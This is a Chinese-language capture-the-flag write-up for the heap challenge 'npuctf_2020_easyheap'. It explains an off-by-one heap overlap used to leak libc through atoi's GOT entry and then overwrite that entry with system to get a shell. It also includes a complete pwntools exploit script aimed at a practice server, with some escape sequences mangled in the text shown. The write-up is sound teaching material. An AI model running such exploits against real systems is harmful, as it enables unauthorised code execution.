思路
题目没有开启 pie 个 got 表不可写,所以我们可以通过修改 got 表来泄露 libc 跟 get shell 。
具体步骤:
- 首先分配两个 chunk 。(其实是 4 个,有两个 chunk 用于记录 size 跟 chunk_addr)
- 通过 edit 的 off by one 漏洞,覆盖下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
- 通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 atoi 函数的 got 表地址,这样 show 对应 chunk 就能泄露 libc。
- 通过 edit 将 atoi_got 改为 system 的地址。
- 当主函数再次执行至 atoi_got 时,给上 "/bin/sh" 参数,实现 system('/bin/sh') 拿 shell 。
exp
from pwn_debug import *
context.binary = './npuctf_2020_easyheap'
#context.log_level = 'debug'
pdbg = pwn_debug('./npuctf_2020_easyheap')
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
pdbg.remote('node3.buuoj.cn',26491)
r = pdbg.run('remote')
elf = pdbg.elf
#libc = pdbg.libc
libc = ELF('./libc/libc-2.27.so')
def add(size,content):
r.sendlineafter('Your choice :',str(1))
r.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
r.sendlineafter('Content:',content)
def delete(idx):
r.sendlineafter('Your choice :',str(4))
r.sendlineafter('Index :',str(idx))
def show(idx):
r.sendlineafter('Your choice :',str(3))
r.sendlineafter('Index :',str(idx))
def edit(idx,content):
r.sendlineafter('Your choice :',str(2))
r.sendlineafter('Index :',str(idx))
r.recvuntil("Content: ")
r.send(content)
add(0x18, 'aa
')#0
add(0x18, 'aa
')#1
edit(0, 'a'*0x18+'x41')
delete(1)
add(0x38,'a'*0x10+flat(0,0x21,8,elf.got['atoi']))
#gdb,attach(r)
show(1)
r.recvuntil("Content : ")
atoi_addr = u64(r.recvuntil('x7f').ljust(8, 'x00'))
libc.address = atoi_addr - libc.symbols['atoi']
system = libc.symbols['system']
print 'system:'+hex(system)
edit(1,p64(system))
r.sendlineafter('Your choice :','/bin/shx00')
r.interactive()